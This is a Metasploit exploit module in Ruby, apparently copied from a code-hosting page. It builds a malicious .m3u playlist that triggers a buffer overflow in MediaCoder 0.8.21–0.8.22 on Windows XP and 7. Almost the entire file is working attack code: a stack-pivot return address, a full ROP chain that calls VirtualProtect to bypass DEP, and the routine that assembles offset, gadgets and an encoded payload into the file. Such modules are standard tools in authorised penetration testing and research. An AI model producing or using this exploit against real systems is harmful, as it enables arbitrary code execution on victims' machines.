124 lines
3.7 KiB
Ruby
124 lines
3.7 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MediaCoder .M3U Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability
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occurs when adding an .m3u, allowing arbitrary code execution under the context
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of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder
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runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539
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to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'metacom', # Vulnerability discovery and PoC
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'modpr0be <modpr0be[at]spentera.com>', # Metasploit module
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'otoy <otoy[at]spentera.com>' # Metasploit module
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],
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'References' =>
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[
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[ 'OSVDB', '94522' ],
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[ 'EDB', '26403' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh'
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 1200,
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'BadChars' => "\x00\x5c\x40\x0d\x0a",
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'DisableNops' => true,
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'StackAdjustment' => -3500
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},
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'Targets' =>
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[
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[ 'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0',
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{
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# stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll)
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'Ret' => 0x6afd4435,
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'Offset' => 849,
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'Max' => 5000
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 24 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
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], self.class)
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end
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def junk(n=1)
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return [rand_text_alpha(4).unpack("L")[0]] * n
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end
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def nops(rop=false, n=1)
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return rop ? [0x6ab16202] * n : [0x90909090] * n
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end
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def exploit
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# fixed rop from mona.py :)
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rop_gadgets =
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[
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nops(true,35), # ROP NOP
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0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll]
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0xffffffc0, # negate will become 0x00000040
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junk,
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0x66d9d9ba, # NEG EAX # RETN [avutil-52.dll]
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0x6ab2241d, # XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN [swscale-2.dll]
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junk(15), # reserve more junk for add esp,2c
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0x1004cc03, # POP ECX # RETN [jpeg.dll]
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0x6ab561b0, # ptr to &VirtualProtect() [IAT swscale-2.dll]
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0x66d9feee, # MOV EAX,DWORD PTR DS:[ECX] # RETN [avutil-52.dll]
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0x6ab19780, # XCHG EAX,ESI # RETN [swscale-2.dll]
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0x66d929f5, # POP EAX # POP EBX # RETN [jpeg.dll]
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0xfffffcc0, # negate will become 0x0000033f
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junk,
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0x6ab3c65a, # NEG EAX # RETN [postproc-52.dll]
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0x1004cc03, # POP ECX # RETN [jpeg.dll]
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0xffffffff, #
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0x660166e9, # INC ECX # SUB AL,0EB # RETN [libiconv-2.dll]
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0x66d8ae48, # XCHG ECX,EBX # RETN [avutil-52.dll]
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0x1005f6e4, # ADD EBX,EAX # OR EAX,3000000 # RETN [jpeg.dll]
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0x6ab3d688, # POP ECX # RETN [jpeg.dll]
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0x6ab4ead0, # Writable address [avutil-52.dll]
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0x100444e3, # POP EDI # RETN [swscale-2.dll]
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nops(true), # ROP NOP [swscale-2.dll]
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0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll]
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nops, # Regular NOPs
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0x6ab01c06, # PUSH ESP# RETN [swscale-2.dll]
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0x6ab28dda, # PUSHAD # RETN [swscale-2.dll]
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].flatten.pack("V*")
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sploit = "http://"
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sploit << rand_text(target['Offset'])
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sploit << [target.ret].pack('V')
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sploit << rop_gadgets
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sploit << make_nops(16)
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sploit << payload.encoded
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sploit << rand_text(target['Max']-sploit.length)
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file_create(sploit)
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end
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end
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